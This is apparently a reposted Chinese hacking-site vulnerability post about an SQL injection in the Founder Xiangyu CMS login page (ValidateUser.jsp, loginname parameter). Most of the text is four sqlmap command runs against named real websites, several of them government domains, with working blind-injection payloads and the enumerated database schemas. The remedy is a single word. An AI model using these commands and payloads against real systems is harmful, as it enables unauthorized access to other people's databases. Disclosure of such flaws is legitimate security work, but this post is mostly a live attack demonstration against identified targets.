记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

北大方正翔宇CMS系统通用型SQL注入漏洞

2014-12-24 02:26

北大方正翔宇CMS系统"验证用户登录"接口缺少过滤导致SQL注入


方正翔宇CMS系统"验证用户登录"接口缺少过滤导致SQL注入
注入链接:/enpadmin/ValidateUser.jsp
注入参数:loginname

 

 

0.PNG


 


注入链接:http://www.hbsjtt.gov.cn:81/enpadmin/ValidateUser.jsp?loginname=11&userpwd=11
$ python sqlmap.py -u 'http://www.hbsjtt.gov.cn:81/enpadmin/ValidateUser.jsp?loginname=11&userpwd=11' -p loginname --dbms oracle --level 5 --risk 3 --batch --dbs -v 1
--
Place: GET
Parameter: loginname
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: loginname=-2343' OR (5408=5408) AND 'cTqT'='cTqT&userpwd=11

Type: AND/OR time-based blind
Title: Oracle OR time-based blind
Payload: loginname=-3303' OR 9701=DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(74)||CHR(79)||CHR(74),5) AND 'xlHu'='xlHu&userpwd=11
---
[20:27:48] [INFO] the back-end DBMS is Oracle
web application technology: Apache, JSP
back-end DBMS: Oracle
[20:27:48] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DB
[20:27:48] [INFO] fetching database (schema) names
[20:27:48] [INFO] fetching number of databases
[20:27:49] [INFO] resumed: 17
[20:27:49] [INFO] resumed: CMSUSER
[20:27:49] [INFO] resumed: CTXSYS
[20:27:49] [INFO] resumed: DBSNMP
[20:27:49] [INFO] resumed: DMSYS
[20:27:49] [INFO] resumed: EXFSYS
[20:27:49] [INFO] resumed: FUIM
[20:27:49] [INFO] resumed: MDSYS
[20:27:49] [INFO] resumed: OLAPSYS
[20:27:49] [INFO] resumed: ORDSYS
[20:27:49] [INFO] resumed: OUTLN
[20:27:49] [INFO] resumed: SCOTT
[20:27:49] [INFO] resumed: SYS
[20:27:49] [INFO] resumed: SYSMAN
[20:27:49] [INFO] resumed: SYSTEM
[20:27:49] [INFO] resumed: TSMSYS
[20:27:49] [INFO] resumed: WMSYS
[20:27:49] [INFO] resumed: XDB
available databases [17]:
[*] CMSUSER
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] FUIM
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB

1.png


 


(2)http://www.sxjmfxky.com:6565/ 汾西矿业集团
注入链接:http://www.sxjmfxky.com:6565/enpadmin/ValidateUser.jsp?loginname=11&userpwd=11
$ python sqlmap.py -u 'http://www.sxjmfxky.com:6565/enpadmin/ValidateUser.jsp?loginname=11&userpwd=11' -p loginname --dbms oracle --level 5 --risk 3 --batch --dbs -v 1
---
Place: GET
Parameter: loginname
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: loginname=-4846' OR (4419=4419) AND 'njUu'='njUu&userpwd=11

Type: AND/OR time-based blind
Title: Oracle OR time-based blind
Payload: loginname=-8756' OR 9026=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(122)||CHR(67)||CHR(112),5) AND 'MalG'='MalG&user
---
[21:07:44] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.5, JSP, JSP 2.1
back-end DBMS: Oracle
[21:07:44] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other
[21:07:44] [INFO] fetching database (schema) names
[21:07:44] [INFO] fetching number of databases
[21:07:44] [INFO] resumed: 19
[21:07:44] [INFO] resumed: CMSUSER
[21:07:44] [INFO] resumed: CTXSYS
[21:07:44] [INFO] resumed: DBSNMP
[21:07:44] [INFO] resumed: EXFSYS
[21:07:44] [INFO] resumed: FLOWS_030000
[21:07:44] [INFO] resumed: FLOWS_FILES
[21:07:44] [INFO] resumed: MDSYS
[21:07:44] [INFO] resumed: OLAPSYS
[21:07:44] [INFO] resumed: ORDSYS
[21:07:44] [INFO] resumed: OUTLN
[21:07:44] [INFO] resumed: SCOTT
[21:07:44] [INFO] resumed: SYS
[21:07:44] [INFO] resumed: SYSMAN
[21:07:44] [INFO] resumed: SYSTEM
[21:07:44] [INFO] resumed: TSMSYS
[21:07:44] [INFO] resumed: WKSYS
[21:07:44] [INFO] resumed: WK_TEST
[21:07:44] [INFO] resumed: WMSYS
[21:07:44] [INFO] resumed: XDB
available databases [19]:
[*] CMSUSER
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_030000
[*] FLOWS_FILES
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WK_TEST
[*] WKSYS
[*] WMSYS
[*] XDB

2.png


 


(3)http://jjc.hbsjtt.gov.cn:81/ 河北省高速公路建设指挥部
注入链接:http://jjc.hbsjtt.gov.cn:81/enpadmin/ValidateUser.jsp?loginname=11&userpwd=11
$ python sqlmap.py -u 'http://jjc.hbsjtt.gov.cn:81/enpadmin/ValidateUser.jsp?loginname=11&userpwd=11' -p loginname --dbms oracle --level 5 --risk 3 --batch --dbs -v 1 --threads 10
---
Place: GET
Parameter: loginname
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: loginname=-5795' OR (6437=6437) AND 'PjLa'='PjLa&userpwd=11

Type: AND/OR time-based blind
Title: Oracle OR time-based blind
Payload: loginname=-4357' OR 6637=DBMS_PIPE.RECEIVE_MESSAGE(CHR(66)||CHR(122)||CHR(97)||CHR(87),5) AND 'wxKa'='wxKa&userpwd=
---
[20:51:42] [INFO] the back-end DBMS is Oracle
web application technology: Apache, JSP
back-end DBMS: Oracle
[20:51:42] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other D
[20:51:42] [INFO] fetching database (schema) names
[20:51:42] [INFO] fetching number of databases
[20:51:42] [INFO] resumed: 17
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 7
[20:51:42] [INFO] resumed: CMSUSER
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 6
[20:51:42] [INFO] resumed: CTXSYS
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 6
[20:51:42] [INFO] resumed: DBSNMP
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 5
[20:51:42] [INFO] resumed: DMSYS
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 6
[20:51:42] [INFO] resumed: EXFSYS
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 4
[20:51:42] [INFO] resumed: FUIM
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 5
[20:51:42] [INFO] resumed: MDSYS
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 7
[20:51:42] [INFO] resumed: OLAPSYS
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 6
[20:51:42] [INFO] resumed: ORDSYS
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 5
[20:51:42] [INFO] resumed: OUTLN
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 5
[20:51:42] [INFO] resumed: SCOTT
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 3
[20:51:42] [INFO] resumed: SYS
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 6
[20:51:42] [INFO] resumed: SYSMAN
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 6
[20:51:42] [INFO] resumed: SYSTEM
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 6
[20:51:42] [INFO] resumed: TSMSYS
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 5
[20:51:42] [INFO] resumed: WMSYS
[20:51:42] [INFO] retrieving the length of query output
[20:51:42] [INFO] resumed: 3
[20:51:42] [INFO] resumed: XDB
available databases [17]:
[*] CMSUSER
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] FUIM
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB

3.png


 


(4)http://www.tsrb.com.cn:7001
注入链接:http://www.tsrb.com.cn:7001/enpadmin/ValidateUser.jsp?loginname=11&userpwd=11
$ python sqlmap.py -u 'http://www.tsrb.com.cn:7001/enpadmin/ValidateUser.jsp?loginname=11&userpwd=11' -p loginname --dbms oracle --level 5 --risk 3 --dbs -v 1 --batch --threads 10
---
Place: GET
Parameter: loginname
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: loginname=-8135' OR (1388=1388) AND 'IjWe'='IjWe&userpwd=11

Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: loginname=11' AND 7290=DBMS_PIPE.RECEIVE_MESSAGE(CHR(106)||CHR(71)||CHR(106)||CHR(66),5) AND 'azXy'='azX
---
[20:49:07] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[20:49:07] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names
[20:49:07] [INFO] fetching database (schema) names
[20:49:07] [INFO] fetching number of databases
[20:49:07] [INFO] resumed: 16
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 7
[20:49:07] [INFO] resumed: CMSUSER
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 6
[20:49:07] [INFO] resumed: CTXSYS
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 6
[20:49:07] [INFO] resumed: DBSNMP
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 5
[20:49:07] [INFO] resumed: DMSYS
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 6
[20:49:07] [INFO] resumed: EXFSYS
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 5
[20:49:07] [INFO] resumed: MDSYS
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 7
[20:49:07] [INFO] resumed: OLAPSYS
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 6
[20:49:07] [INFO] resumed: ORDSYS
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 5
[20:49:07] [INFO] resumed: OUTLN
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 5
[20:49:07] [INFO] resumed: SCOTT
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 3
[20:49:07] [INFO] resumed: SYS
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 6
[20:49:07] [INFO] resumed: SYSMAN
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 6
[20:49:07] [INFO] resumed: SYSTEM
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 6
[20:49:07] [INFO] resumed: TSMSYS
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 5
[20:49:07] [INFO] resumed: WMSYS
[20:49:07] [INFO] retrieving the length of query output
[20:49:07] [INFO] resumed: 3
[20:49:07] [INFO] resumed: XDB
available databases [16]:
[*] CMSUSER
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB

4.png

 

解决方案:

过滤

知识来源: www.2cto.com/Article/201412/363730.html

阅读:436599 | 评论:0 | 标签:注入 cms 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“北大方正翔宇CMS系统通用型SQL注入漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云